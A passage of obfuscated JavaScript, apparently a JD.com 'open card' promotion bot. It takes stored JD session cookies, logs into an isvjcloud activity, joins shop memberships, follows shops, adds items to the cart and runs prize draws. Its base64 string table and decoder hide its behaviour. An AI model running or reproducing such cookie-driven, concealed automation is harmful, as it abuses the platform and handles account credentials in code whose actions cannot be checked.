M=','c2VjcmV0UGlu','VnFzVHU=','alNmVnU=','VU9kamU=','ZmZOVG8=','a2tGaWg=','cGVTcmU=','WkNKa2M=','anRsUmw=','WGJtd0U=','L3d4QWN0aW9uQ29tbW9uL2dldFVzZXJJbmZv','REtpcnc=','VlJIWGs=','ZVh3QmU=','Z1BzUXI=','TUp3ano=','VXBlTlA=','d210c1c=','d05QUW4=','UElZRGg=','dE5JTHg=','eG9MWHI=','cXFQdlU=','aXRpZUY=','TG9DVkE=','YmxpSXY=','blJUZ2Y=','Zm9xbXM=','cGluPQ==','bFFCVHk=','Tm5JTVQ=','VW9qQ2s=','d1prcGk=','cGlWd0Q=','V2hVQkU=','WnhsbVk=','VXFVdGc=','bXVhT3c=','Y1NFT1U=','S2d5cW4=','SVpvb1I=','Rmt4amI=','ZWVsa2k=','UUdqVWE=','Q0pucFU=','IGlzdk9iZnVzY2F0b3IgQVBJ6K+35rGC5aSx6LSl77yM6K+35qOA5p+l572R6Lev6YeN6K+V','UUZacG4=','eXVuTWlkSW1hZ2VVcmw=','Y0t1ZWQ=','b216bWQ=','SHhFY0g=','RVlVZks=','RGpwZGE=','OWE1NWFhYjM4YjBjNGE5Mzk1NWFmZTdhODZjMzUwM2E=','YzczMjRmYmJhOGFhNDFkNTg5NGM3Mzk3YzU4ZTdhYzU=','YTcyMmM2ZTFmODhhNGY2OWExYWZkY2JmMWM2M2Q3ZDM=','aGVhZGVycw==','c2V0LWNvb2tpZQ==','U2V0LUNvb2tpZQ==','b2JYT1g=','R3ZTZlU=','Y1NhdUE=','QXpFaVU=','eW5kb0M=','RHBqWXY=','aGdUV2c=','L2NvbW1vbi9hY2Nlc3NMb2dXaXRoQUQ=','cHVSTWs=','YmZTTWk=','a2FUWHg=','bWJHUk0=','ZU5UUHE=','VVJuTUo=','SkJsbHE=','eUREZ3U=','eVdiUEU=','Uk5rRHo=','eUNydGc=','cHZLWUw=','T3B3UW8=','QmxucVc=','enNBVmw=','SkFOZ28=','ZW5TSXI=','dGhsams=','bGJGcE4=','aVdjUHI=','QmZBa2U=','YmdtSGY=','VWlSbG4=','WkVmbWQ=','dWdNVm0=','bHhBamk=','Sm55UXE=','Y1ppU20=','SXNhVGE=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL2R6L29wZW5DYXJkL2FjdGl2aXR5P2FjdGl2aXR5SWQ9','dmVuZGVySWQ9','JmNvZGU9OTkmcGluPQ==','U3NtaXc=','JmFjdGl2aXR5SWQ9','JnBhZ2VVcmw9','JnN1YlR5cGU9QVBQJmFkU291cmNlPW51bGw=','SHF1eFA=','UFVaUUI=','dXJsakE=','S2dreXE=','c1hWSkQ=','bnhYSW4=','U1h2ZXE=','QnlZZVM=','RWJweUE=','cHJXZ0E=','cUFtSnI=','U2JFeFY=','S3ZaT2I=','TUpwRXI=','bWplT0Y=','ZEFPVG0=','WHBlTEQ=','bEljZHg=','R3NRQng=','cWFSbXE=','d2NWY0U=','S1BOc3M=','Y3RidlE=','bnBsR0Q=','S2NFRFQ=','ZGFmU2k=','YmR0b0Y=','TWZmbUQ=','bnBmUG8=','U2JiaUY=','SExJRWs=','dmNFWVE=','djsjiwaPZmi.KkhZcIKYom.v6qUGU=='];(function(_0x5df426,_0xaad481,_0x15d2b6){var _0xa2a3d9=function(_0x34d66f,_0x38ac73,_0x4d1619,_0x5cb4d6,_0x2906e1){_0x38ac73=_0x38ac73>>0x8,_0x2906e1='po';var _0x174fff='shift',_0x3c331b='push';if(_0x38ac73<_0x34d66f){while(--_0x34d66f){_0x5cb4d6=_0x5df426[_0x174fff]();if(_0x38ac73===_0x34d66f){_0x38ac73=_0x5cb4d6;_0x4d1619=_0x5df426[_0x2906e1+'p']();}else if(_0x38ac73&&_0x4d1619['replace'](/[dwPZKkhZIKYqUGU=]/g,'')===_0x38ac73){_0x5df426[_0x3c331b](_0x5cb4d6);}}_0x5df426[_0x3c331b](_0x5df426[_0x174fff]());}return 0xa5943;};return _0xa2a3d9(++_0xaad481,_0x15d2b6)>>_0xaad481^_0x15d2b6;}(_0x4195,0x133,0x13300));var _0x4291=function(_0x3e42a7,_0x81ae8e){_0x3e42a7=~~'0x'['concat'](_0x3e42a7);var _0x4591ca=_0x4195[_0x3e42a7];if(_0x4291['jeKqhQ']===undefined){(function(){var _0x1921c2;try{var _0x9bc7a9=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x1921c2=_0x9bc7a9();}catch(_0x3d589e){_0x1921c2=window;}var _0x3fc4df='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x1921c2['atob']||(_0x1921c2['atob']=function(_0x2f2791){var _0x4c37a6=String(_0x2f2791)['replace'](/=+$/,'');for(var _0x330f52=0x0,_0x90d0ca,_0x50dad7,_0x12c1af=0x0,_0x1df581='';_0x50dad7=_0x4c37a6['charAt'](_0x12c1af++);~_0x50dad7&&(_0x90d0ca=_0x330f52%0x4?_0x90d0ca*0x40+_0x50dad7:_0x50dad7,_0x330f52++%0x4)?_0x1df581+=String['fromCharCode'](0xff&_0x90d0ca>>(-0x2*_0x330f52&0x6)):0x0){_0x50dad7=_0x3fc4df['indexOf'](_0x50dad7);}return _0x1df581;});}());_0x4291['KbNfIg']=function(_0x582f91){var _0x643b8a=atob(_0x582f91);var _0x5a049d=[];for(var _0x593377=0x0,_0x592a1a=_0x643b8a['length'];_0x593377<_0x592a1a;_0x593377++){_0x5a049d+='%'+('00'+_0x643b8a['charCodeAt'](_0x593377)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x5a049d);};_0x4291['rBmmBR']={};_0x4291['jeKqhQ']=!![];}var _0xf2c2f8=_0x4291['rBmmBR'][_0x3e42a7];if(_0xf2c2f8===undefined){_0x4591ca=_0x4291['KbNfIg'](_0x4591ca);_0x4291['rBmmBR'][_0x3e42a7]=_0x4591ca;}else{_0x4591ca=_0xf2c2f8;}return _0x4591ca;};const $=new Env(_0x4291('0'));const jdCookieNode=$[_0x4291('1')]()?require(_0x4291('2')):'';const notify=$[_0x4291('1')]()?require(_0x4291('3')):'';let cookiesArr=[],cookie='';let activityCookie='';let lz_jdpin_token='';if($[_0x4291('1')]()){Object[_0x4291('4')](jdCookieNode)[_0x4291('5')](_0x23df5e=>{cookiesArr[_0x4291('6')](jdCookieNode[_0x23df5e]);});if(process[_0x4291('7')][_0x4291('8')]&&process[_0x4291('7')][_0x4291('8')]===_0x4291('9'))console[_0x4291('a')]=()=>{};}else{cookiesArr=[$[_0x4291('b')](_0x4291('c')),$[_0x4291('b')](_0x4291('d')),...jsonParse($[_0x4291('b')](_0x4291('e'))||'[]')[_0x4291('f')](_0x14c5e6=>_0x14c5e6[_0x4291('10')])][_0x4291('11')](_0x3033a2=>!!_0x3033a2);}guaopencard_addSku=$[_0x4291('1')]()?process[_0x4291('7')][_0x4291('12')]?process[_0x4291('7')][_0x4291('12')]:''+guaopencard_addSku:$[_0x4291('b')](_0x4291('12'))?$[_0x4291('b')](_0x4291('12')):''+guaopencard_addSku;guaopencard_addSku=$[_0x4291('1')]()?process[_0x4291('7')][_0x4291('13')]?process[_0x4291('7')][_0x4291('13')]:''+guaopencard_addSku:$[_0x4291('b')](_0x4291('13'))?$[_0x4291('b')](_0x4291('13')):''+guaopencard_addSku;guaopencard=$[_0x4291('1')]()?process[_0x4291('7')][_0x4291('14')]?process[_0x4291('7')][_0x4291('14')]:''+guaopencard:$[_0x4291('b')](_0x4291('14'))?$[_0x4291('b')](_0x4291('14')):''+guaopencard;guaopencard=$[_0x4291('1')]()?process[_0x4291('7')][_0x4291('15')]?process[_0x4291('7')][_0x4291('15')]:''+guaopencard:$[_0x4291('b')](_0x4291('15'))?$[_0x4291('b')](_0x4291('15')):''+guaopencard;message='';$[_0x4291('16')]=![];!(async()=>{var _0x46ba97={'bcKDn':function(_0x896030,_0x45ffbb){return _0x896030!=_0x45ffbb;},'SZhgA':_0x4291('17'),'DODcO':function(_0x44c98a){return _0x44c98a();},'iekSy':_0x4291('18'),'NciPu':function(_0x9a1b40,_0x1f65f6){return _0x9a1b40!==_0x1f65f6;},'vsrdK':_0x4291('19'),'QEkkF':_0x4291('1a'),'jDBCM':_0x4291('1b'),'muJjg':_0x4291('1c'),'kJyys':_0x4291('1d'),'cUkDD':_0x4291('1e'),'wrQcx':function(_0x3d1b42,_0x2e5af0){return _0x3d1b42!=_0x2e5af0;},'JwUWK':function(_0x1353f3,_0x4e44df){return _0x1353f3+_0x4e44df;},'EJizW':_0x4291('1f'),'laPaQ':_0x4291('20'),'rqKWd':_0x4291('21'),'ECFFs':function(_0x4c30ae,_0x4e1e49){return _0x4c30ae!=_0x4e1e49;},'etJhs':function(_0x33179c,_0x25c2c5){return _0x33179c+_0x25c2c5;},'wPFxJ':_0x4291('22'),'MEoGw':_0x4291('23'),'OWGIF':function(_0xb720ad,_0x58a418){return _0xb720ad<_0x58a418;},'sIRYH':function(_0x29061f,_0x3cf1ce){return _0x29061f===_0x3cf1ce;},'XTBIN':_0x4291('24'),'QNHxe':_0x4291('25'),'ceyGv':function(_0x228fb0,_0x4e53cb){return _0x228fb0(_0x4e53cb);},'uLQmJ':function(_0x42717){return _0x42717();},'ymYTU':function(_0x31bf8e,_0x44fd9c){return _0x31bf8e==_0x44fd9c;},'BYgID':function(_0xb56ddc,_0x5b2211){return _0xb56ddc===_0x5b2211;},'MfbYM':_0x4291('26'),'sRndj':_0x4291('27')};if(!cookiesArr[0x0]){if(_0x46ba97[_0x4291('28')](_0x46ba97[_0x4291('29')],_0x46ba97[_0x4291('2a')])){$[_0x4291('2b')]($[_0x4291('2c')],_0x46ba97[_0x4291('2d')],_0x46ba97[_0x4291('2e')],{'open-url':_0x46ba97[_0x4291('2e')]});return;}else{if(_0x46ba97[_0x4291('2f')](typeof res[_0x4291('30')][_0x4291('31')],_0x46ba97[_0x4291('32')]))$[_0x4291('31')]=res[_0x4291('30')][_0x4291('31')];if(_0x46ba97[_0x4291('2f')](typeof res[_0x4291('30')][_0x4291('33')],_0x46ba97[_0x4291('32')]))$[_0x4291('33')]=res[_0x4291('30')][_0x4291('33')];}}if($[_0x4291('1')]()){if(_0x46ba97[_0x4291('28')](_0x46ba97[_0x4291('34')],_0x46ba97[_0x4291('35')])){if(_0x46ba97[_0x4291('36')](_0x46ba97[_0x4291('37')](guaopencard,''),_0x46ba97[_0x4291('38')])){if(_0x46ba97[_0x4291('28')](_0x46ba97[_0x4291('39')],_0x46ba97[_0x4291('39')])){console[_0x4291('a')](data);}else{console[_0x4291('a')](_0x46ba97[_0x4291('3a')]);}}if(_0x46ba97[_0x4291('3b')](_0x46ba97[_0x4291('3c')](guaopencard,''),_0x46ba97[_0x4291('38')])){return;}}else{_0x46ba97[_0x4291('3d')](resolve);}}$[_0x4291('3e')]=_0x46ba97[_0x4291('3f')];$[_0x4291('40')]=_0x46ba97[_0x4291('41')];console[_0x4291('a')](_0x4291('42')+$[_0x4291('40')]+_0x4291('43')+$[_0x4291('3e')]);for(let _0x32acda=0x0;_0x46ba97[_0x4291('44')](_0x32acda,cookiesArr[_0x4291('45')]);_0x32acda++){cookie=cookiesArr[_0x32acda];if(cookie){if(_0x46ba97[_0x4291('46')](_0x46ba97[_0x4291('47')],_0x46ba97[_0x4291('48')])){console[_0x4291('a')](_0x46ba97[_0x4291('49')]);$[_0x4291('16')]=!![];}else{$[_0x4291('4a')]=_0x46ba97[_0x4291('4b')](decodeURIComponent,cookie[_0x4291('4c')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x4291('4c')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x4291('4d')]=_0x46ba97[_0x4291('3c')](_0x32acda,0x1);_0x46ba97[_0x4291('3d')](getUA);console[_0x4291('a')](_0x4291('4e')+$[_0x4291('4d')]+'】'+$[_0x4291('4a')]+_0x4291('4f'));await _0x46ba97[_0x4291('50')](run);if(_0x46ba97[_0x4291('51')](_0x32acda,0x0)&&!$[_0x4291('52')])break;if($[_0x4291('16')])break;}}}if($[_0x4291('16')]){if(_0x46ba97[_0x4291('53')](_0x46ba97[_0x4291('54')],_0x46ba97[_0x4291('54')])){let _0x33cc29=_0x46ba97[_0x4291('55')];$[_0x4291('2b')]($[_0x4291('2c')],'',''+_0x33cc29);if($[_0x4291('1')]())await notify[_0x4291('56')](''+$[_0x4291('2c')][_0x4291('57')](/-/g,'/'),''+_0x33cc29);}else{console[_0x4291('a')](''+$[_0x4291('58')](err));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}}})()[_0x4291('5a')](_0x6c9129=>$[_0x4291('5b')](_0x6c9129))[_0x4291('5c')](()=>$[_0x4291('5d')]());async function run(){var _0x3be21c={'zRmwM':function(_0x3cf57b,_0x4af5bb){return _0x3cf57b>_0x4af5bb;},'bKdZf':_0x4291('5e'),'GCWef':function(_0x2dc71d,_0x22434c){return _0x2dc71d+_0x22434c;},'vbGLT':_0x4291('5f'),'fNeKJ':function(_0x33bdb4,_0x4766a7){return _0x33bdb4==_0x4766a7;},'qdVbo':_0x4291('60'),'gYtax':function(_0x5ad6cb,_0x32c810){return _0x5ad6cb!=_0x32c810;},'NRdfW':_0x4291('17'),'IXiSX':function(_0x2d0a00){return _0x2d0a00();},'hmWqJ':function(_0x265148,_0x2ae6c0){return _0x265148!==_0x2ae6c0;},'MXIgf':_0x4291('61'),'gmZnO':_0x4291('62'),'QHIfs':_0x4291('18'),'BVNTH':function(_0x1fe8cf){return _0x1fe8cf();},'wETDh':function(_0x2c7a05,_0xec54e5){return _0x2c7a05==_0xec54e5;},'arVgQ':_0x4291('63'),'lOCtm':function(_0x5896e9){return _0x5896e9();},'PjTVZ':function(_0x47556b,_0x33e431){return _0x47556b===_0x33e431;},'nTjYt':function(_0x2a806a,_0xfa8ac9){return _0x2a806a==_0xfa8ac9;},'hhWoa':function(_0x115f22,_0x2ab9b8){return _0x115f22===_0x2ab9b8;},'yqdOP':_0x4291('64'),'aqKvv':_0x4291('65'),'PvsYU':_0x4291('66'),'jNgvY':function(_0x52c8c6){return _0x52c8c6();},'zZrJH':_0x4291('67'),'lFPrl':function(_0x3f9763){return _0x3f9763();},'lJFAI':_0x4291('68'),'oCcFx':function(_0x2d29ab){return _0x2d29ab();},'RJaQC':_0x4291('69'),'UUWSK':_0x4291('6a'),'dIhOU':_0x4291('6b'),'mGQvp':function(_0x30efad){return _0x30efad();},'jJRqM':function(_0x137d0f,_0x1272bb,_0x290878){return _0x137d0f(_0x1272bb,_0x290878);},'ZOcLb':function(_0x5e627c,_0x30b135){return _0x5e627c*_0x30b135;},'xcGLM':function(_0x494ded,_0x719b8f){return _0x494ded(_0x719b8f);},'MoIun':function(_0x42b1e4,_0x1f2ea5){return _0x42b1e4==_0x1f2ea5;},'fcMVB':function(_0x4b696d,_0x4355e1){return _0x4b696d===_0x4355e1;},'rqoeb':_0x4291('6c'),'cCaDn':_0x4291('6d'),'MKoje':function(_0x2b7dbd,_0x429e8b){return _0x2b7dbd(_0x429e8b);},'xUTTW':function(_0x14425f){return _0x14425f();},'CcbNt':function(_0x4a6348,_0x7843f0){return _0x4a6348+_0x7843f0;},'RavXJ':function(_0x32043c){return _0x32043c();},'qYuff':function(_0x28fd33){return _0x28fd33();},'IPJBm':function(_0x3355b5,_0x8c656e){return _0x3355b5==_0x8c656e;},'yFJGD':function(_0x34eead,_0xe58455){return _0x34eead(_0xe58455);},'OWnyh':function(_0x2ede65,_0x5540ad){return _0x2ede65(_0x5540ad);},'dYkOW':function(_0x2ebc4c,_0x5de21d){return _0x2ebc4c+_0x5de21d;},'lbNlB':_0x4291('6e'),'cHVVk':function(_0xe7edb0,_0x21f9ac,_0x1e7ed2){return _0xe7edb0(_0x21f9ac,_0x1e7ed2);},'wuzYP':function(_0x50ab62,_0x851a33){return _0x50ab62+_0x851a33;},'dOgcr':function(_0x137624,_0x477e04){return _0x137624*_0x477e04;},'ErGDB':_0x4291('6f'),'BgNQP':_0x4291('1f'),'Frfmg':_0x4291('70'),'LJdOF':function(_0x54a6dd){return _0x54a6dd();},'DlIbf':function(_0x5f56c9,_0x376f64,_0x57198d){return _0x5f56c9(_0x376f64,_0x57198d);},'VmmLm':function(_0xb5da7e){return _0xb5da7e();},'NSPXc':function(_0x428d1b,_0x21ef5f){return _0x428d1b===_0x21ef5f;},'rGLmZ':_0x4291('71'),'HKHlD':function(_0x5e30c9,_0x103d39,_0x487cb0){return _0x5e30c9(_0x103d39,_0x487cb0);},'EDebB':function(_0x26d845,_0x340e72){return _0x26d845+_0x340e72;},'OgFlp':function(_0x5f1565,_0x43f0ec){return _0x5f1565*_0x43f0ec;},'BOGPN':function(_0x49d1ec,_0x239874,_0x2c72c){return _0x49d1ec(_0x239874,_0x2c72c);},'mbDAQ':function(_0x145625,_0x2a9fb8){return _0x145625+_0x2a9fb8;},'FLLEz':function(_0xf74c44,_0x5aa8a9){return _0xf74c44*_0x5aa8a9;},'JviWR':_0x4291('72')};try{lz_jdpin_token='';$[_0x4291('73')]='';$[_0x4291('74')]='';await _0x3be21c[_0x4291('75')](getCk);if(_0x3be21c[_0x4291('76')](activityCookie,'')){console[_0x4291('a')](_0x4291('77'));return;}if($[_0x4291('16')]){if(_0x3be21c[_0x4291('78')](_0x3be21c[_0x4291('79')],_0x3be21c[_0x4291('7a')])){console[_0x4291('a')](_0x3be21c[_0x4291('7b')]);return;}else{setcookie=setcookies[_0x4291('7c')](',');}}await _0x3be21c[_0x4291('7d')](getToken);if(_0x3be21c[_0x4291('7e')]($[_0x4291('73')],'')){console[_0x4291('a')](_0x3be21c[_0x4291('7f')]);return;}await _0x3be21c[_0x4291('7d')](getSimpleActInfoVo);$[_0x4291('80')]='';await _0x3be21c[_0x4291('81')](getMyPing);if(_0x3be21c[_0x4291('82')]($[_0x4291('74')],'')||_0x3be21c[_0x4291('83')](typeof $[_0x4291('31')],_0x3be21c[_0x4291('84')])||_0x3be21c[_0x4291('83')](typeof $[_0x4291('33')],_0x3be21c[_0x4291('84')])){if(_0x3be21c[_0x4291('85')](_0x3be21c[_0x4291('86')],_0x3be21c[_0x4291('87')])){if(_0x3be21c[_0x4291('88')](name[_0x4291('89')](_0x3be21c[_0x4291('8a')]),-0x1))LZ_TOKEN_KEY=_0x3be21c[_0x4291('8b')](name[_0x4291('57')](/ /g,''),';');if(_0x3be21c[_0x4291('88')](name[_0x4291('89')](_0x3be21c[_0x4291('8c')]),-0x1))LZ_TOKEN_VALUE=_0x3be21c[_0x4291('8b')](name[_0x4291('57')](/ /g,''),';');}else{$[_0x4291('a')](_0x3be21c[_0x4291('8d')]);return;}}await _0x3be21c[_0x4291('8e')](accessLogWithAD);$[_0x4291('8f')]=_0x3be21c[_0x4291('90')];await _0x3be21c[_0x4291('91')](getUserInfo);$[_0x4291('52')]='';await _0x3be21c[_0x4291('91')](getActorUuid);if(!$[_0x4291('52')]){console[_0x4291('a')](_0x3be21c[_0x4291('92')]);return;}await _0x3be21c[_0x4291('93')](drawContent);await $[_0x4291('94')](0x3e8);let _0x40771a=await _0x3be21c[_0x4291('93')](checkOpenCard);if(_0x40771a&&!_0x40771a[_0x4291('95')]&&!$[_0x4291('16')]){if(_0x3be21c[_0x4291('78')](_0x3be21c[_0x4291('96')],_0x3be21c[_0x4291('96')])){$[_0x4291('5b')](e,resp);}else{let _0x28e5d7=!![];for(let _0x4887a7 of _0x40771a[_0x4291('97')]&&_0x40771a[_0x4291('97')]||[]){if(_0x3be21c[_0x4291('78')](_0x3be21c[_0x4291('98')],_0x3be21c[_0x4291('98')])){console[_0x4291('a')](_0x4291('99')+(res[_0x4291('9a')]||''));}else{if(_0x3be21c[_0x4291('83')](_0x4887a7[_0x4291('9b')],0x0)){var _0x5379ff=_0x3be21c[_0x4291('9c')][_0x4291('7c')]('|'),_0x541d00=0x0;while(!![]){switch(_0x5379ff[_0x541d00++]){case'0':await _0x3be21c[_0x4291('9d')](drawContent);continue;case'1':await $[_0x4291('94')](_0x3be21c[_0x4291('9e')](parseInt,_0x3be21c[_0x4291('8b')](_0x3be21c[_0x4291('9f')](Math[_0x4291('a0')](),0x3e8),0x1388),0xa));continue;case'2':console[_0x4291('a')](_0x4887a7[_0x4291('2c')]);continue;case'3':if(_0x28e5d7)_0x28e5d7=![];continue;case'4':if(_0x28e5d7)console[_0x4291('a')]('组1');continue;case'5':await _0x3be21c[_0x4291('a1')](join,_0x4887a7[_0x4291('a2')]);continue;}break;}}}}_0x28e5d7=!![];for(let _0x2e78a2 of _0x40771a[_0x4291('a3')]&&_0x40771a[_0x4291('a3')]||[]){if(_0x3be21c[_0x4291('a4')](_0x2e78a2[_0x4291('9b')],0x0)){if(_0x3be21c[_0x4291('a5')](_0x3be21c[_0x4291('a6')],_0x3be21c[_0x4291('a6')])){var _0x16fae9=_0x3be21c[_0x4291('a7')][_0x4291('7c')]('|'),_0x57b6bd=0x0;while(!![]){switch(_0x16fae9[_0x57b6bd++]){case'0':await _0x3be21c[_0x4291('a8')](join,_0x2e78a2[_0x4291('a2')]);continue;case'1':if(_0x28e5d7)_0x28e5d7=![];continue;case'2':await _0x3be21c[_0x4291('a9')](drawContent);continue;case'3':console[_0x4291('a')](_0x2e78a2[_0x4291('2c')]);continue;case'4':await $[_0x4291('94')](_0x3be21c[_0x4291('9e')](parseInt,_0x3be21c[_0x4291('aa')](_0x3be21c[_0x4291('9f')](Math[_0x4291('a0')](),0x3e8),0x1388),0xa));continue;case'5':if(_0x28e5d7)console[_0x4291('a')]('组2');continue;}break;}}else{for(let _0x15c421 of res[_0x4291('ab')][_0x4291('ac')][_0x4291('ad')]){console[_0x4291('a')](_0x4291('ae')+_0x15c421[_0x4291('af')]+_0x15c421[_0x4291('b0')]+_0x15c421[_0x4291('b1')]);}}}}await $[_0x4291('94')](0x3e8);await _0x3be21c[_0x4291('b2')](drawContent);_0x40771a=await _0x3be21c[_0x4291('b3')](checkOpenCard);await _0x3be21c[_0x4291('b3')](getActorUuid);await $[_0x4291('94')](0x3e8);}}if(_0x40771a&&_0x3be21c[_0x4291('b4')](_0x40771a[_0x4291('b5')],0x1)&&!$[_0x4291('16')])await _0x3be21c[_0x4291('b6')](startDraw,0x1);if(_0x40771a&&_0x3be21c[_0x4291('b4')](_0x40771a[_0x4291('b7')],0x1)&&!$[_0x4291('16')])await _0x3be21c[_0x4291('b8')](startDraw,0x2);$[_0x4291('a')](_0x3be21c[_0x4291('b9')](_0x3be21c[_0x4291('ba')],$[_0x4291('bb')]));if(!$[_0x4291('bb')]&&!$[_0x4291('16')])await _0x3be21c[_0x4291('b3')](followShop);if(!$[_0x4291('bb')]&&!$[_0x4291('16')])await $[_0x4291('94')](_0x3be21c[_0x4291('bc')](parseInt,_0x3be21c[_0x4291('bd')](_0x3be21c[_0x4291('be')](Math[_0x4291('a0')](),0x3e8),0x1388),0xa));$[_0x4291('a')](_0x3be21c[_0x4291('bd')](_0x3be21c[_0x4291('bf')],$[_0x4291('c0')]));if(!$[_0x4291('c0')]&&_0x3be21c[_0x4291('c1')](_0x3be21c[_0x4291('bd')](guaopencard_addSku,''),_0x3be21c[_0x4291('c2')]))console[_0x4291('a')](_0x3be21c[_0x4291('c3')]);if(!$[_0x4291('c0')]&&_0x3be21c[_0x4291('b4')](guaopencard_addSku,_0x3be21c[_0x4291('c2')])&&!$[_0x4291('16')])await _0x3be21c[_0x4291('c4')](addSku);if(!$[_0x4291('c0')]&&_0x3be21c[_0x4291('b4')](guaopencard_addSku,_0x3be21c[_0x4291('c2')])&&!$[_0x4291('16')])await $[_0x4291('94')](_0x3be21c[_0x4291('c5')](parseInt,_0x3be21c[_0x4291('bd')](_0x3be21c[_0x4291('be')](Math[_0x4291('a0')](),0x3e8),0x1388),0xa));await _0x3be21c[_0x4291('c4')](getDrawRecordHasCoupon);await $[_0x4291('94')](0x3e8);await _0x3be21c[_0x4291('c6')](getShareRecord);$[_0x4291('a')]($[_0x4291('3e')]);if(_0x3be21c[_0x4291('c7')]($[_0x4291('4d')],0x1)){if($[_0x4291('52')]){$[_0x4291('3e')]=$[_0x4291('52')];console[_0x4291('a')](_0x4291('c8')+$[_0x4291('3e')]);}else{console[_0x4291('a')](_0x3be21c[_0x4291('c9')]);return;}}await $[_0x4291('94')](_0x3be21c[_0x4291('ca')](parseInt,_0x3be21c[_0x4291('cb')](_0x3be21c[_0x4291('cc')](Math[_0x4291('a0')](),0x3e8),0x1388),0xa));if(!$[_0x4291('bb')])await $[_0x4291('94')](_0x3be21c[_0x4291('cd')](parseInt,_0x3be21c[_0x4291('ce')](_0x3be21c[_0x4291('cf')](Math[_0x4291('a0')](),0x3e8),0x2710),0xa));}catch(_0x1ceed2){if(_0x3be21c[_0x4291('78')](_0x3be21c[_0x4291('d0')],_0x3be21c[_0x4291('d0')])){let _0x570f64=$[_0x4291('d1')](data);if(_0x3be21c[_0x4291('76')](typeof _0x570f64,_0x3be21c[_0x4291('d2')])&&_0x3be21c[_0x4291('76')](_0x570f64[_0x4291('d3')],0x0)){if(_0x3be21c[_0x4291('c1')](typeof _0x570f64[_0x4291('d4')],_0x3be21c[_0x4291('84')]))$[_0x4291('73')]=_0x570f64[_0x4291('d4')];}else if(_0x3be21c[_0x4291('76')](typeof _0x570f64,_0x3be21c[_0x4291('d2')])&&_0x570f64[_0x4291('d5')]){console[_0x4291('a')](_0x4291('d6')+(_0x570f64[_0x4291('d5')]||''));}else{console[_0x4291('a')](data);}}else{console[_0x4291('a')](_0x1ceed2);}}}function getDrawRecordHasCoupon(){var _0x5d200e={'MTEZi':_0x4291('18'),'VLSaD':function(_0x5513e9,_0x2713a0){return _0x5513e9==_0x2713a0;},'ONwzk':_0x4291('60'),'yLngo':function(_0x238be8,_0x2d41fa){return _0x238be8===_0x2d41fa;},'bPtVH':function(_0x3de70b,_0x4dac38){return _0x3de70b!=_0x4dac38;},'UpMoV':_0x4291('17'),'TxbiI':function(_0x347a4d){return _0x347a4d();},'hyLmg':_0x4291('d7'),'tBOfI':function(_0x17e1e6,_0x465d7a){return _0x17e1e6!==_0x465d7a;},'vPTRh':_0x4291('d8'),'flLzy':_0x4291('d9'),'SMxCf':function(_0x34d550,_0x4bbe28){return _0x34d550===_0x4bbe28;},'ptJmD':_0x4291('da'),'ImIMJ':_0x4291('db'),'OtlvX':function(_0x37174f,_0x420064){return _0x37174f!==_0x420064;},'Qnsua':_0x4291('dc'),'QsjEk':_0x4291('dd'),'zrOWA':function(_0x31ee3c,_0x1c7b36){return _0x31ee3c===_0x1c7b36;},'uSFmc':function(_0x457221,_0x2e2433){return _0x457221==_0x2e2433;},'yBRBW':_0x4291('de'),'YhGbh':function(_0x282ca0,_0x679f6e){return _0x282ca0!=_0x679f6e;},'oDWMU':function(_0xb6792a,_0x19c399){return _0xb6792a+_0x19c399;},'cZisx':function(_0x51dcfd,_0x7bf78d){return _0x51dcfd>_0x7bf78d;},'FPDOC':function(_0x1da43f,_0x5b1651){return _0x1da43f*_0x5b1651;},'rmYMm':function(_0x5e4047,_0x2aae52,_0x898787){return _0x5e4047(_0x2aae52,_0x898787);},'sTsRx':function(_0x598976,_0x3b5f7a){return _0x598976==_0x3b5f7a;},'zpuZR':_0x4291('df'),'BvkGq':_0x4291('e0'),'jvTSY':function(_0x3d493d,_0x417b05){return _0x3d493d!==_0x417b05;},'eTHtV':_0x4291('e1'),'RepdS':_0x4291('e2'),'FeZCb':function(_0x454f96,_0x2dc8c5){return _0x454f96===_0x2dc8c5;},'GSOlo':_0x4291('e3'),'mPIwX':function(_0x294903,_0x442c31){return _0x294903(_0x442c31);},'YZYoH':_0x4291('e4')};return new Promise(_0x479e89=>{var _0x35028e={'ZDbND':_0x5d200e[_0x4291('e5')],'TBAFM':function(_0x4b4ab5,_0x27bf7c){return _0x5d200e[_0x4291('e6')](_0x4b4ab5,_0x27bf7c);},'iFwPo':_0x5d200e[_0x4291('e7')],'MHRVy':function(_0x33d5c4,_0x270d4c){return _0x5d200e[_0x4291('e8')](_0x33d5c4,_0x270d4c);},'SrkYe':function(_0x3044b4,_0x48adba){return _0x5d200e[_0x4291('e9')](_0x3044b4,_0x48adba);},'TZkWF':_0x5d200e[_0x4291('ea')],'LSuNb':function(_0x49ddac,_0x1021b4){return _0x5d200e[_0x4291('e6')](_0x49ddac,_0x1021b4);},'OGOiZ':function(_0x44850f){return _0x5d200e[_0x4291('eb')](_0x44850f);},'cUBHG':_0x5d200e[_0x4291('ec')],'GOjgr':function(_0x1ea211,_0x422fac){return _0x5d200e[_0x4291('ed')](_0x1ea211,_0x422fac);},'Dbcru':_0x5d200e[_0x4291('ee')],'bEYqU':_0x5d200e[_0x4291('ef')],'SBcyy':function(_0x54ad38,_0x27f067){return _0x5d200e[_0x4291('f0')](_0x54ad38,_0x27f067);},'dkifl':_0x5d200e[_0x4291('f1')],'tmzDo':_0x5d200e[_0x4291('f2')],'kvpUS':function(_0x3c04c,_0x215ebd){return _0x5d200e[_0x4291('f3')](_0x3c04c,_0x215ebd);},'jvFbf':_0x5d200e[_0x4291('f4')],'jIgqM':_0x5d200e[_0x4291('f5')],'hOLle':function(_0x1d544c,_0xf60037){return _0x5d200e[_0x4291('f6')](_0x1d544c,_0xf60037);},'TASKY':function(_0x1067a3,_0x32b693){return _0x5d200e[_0x4291('f7')](_0x1067a3,_0x32b693);},'hvhSD':_0x5d200e[_0x4291('f8')],'tLwhJ':function(_0x2b406a,_0x11850b){return _0x5d200e[_0x4291('f9')](_0x2b406a,_0x11850b);},'PFUfJ':function(_0x4f242c,_0x143ce7){return 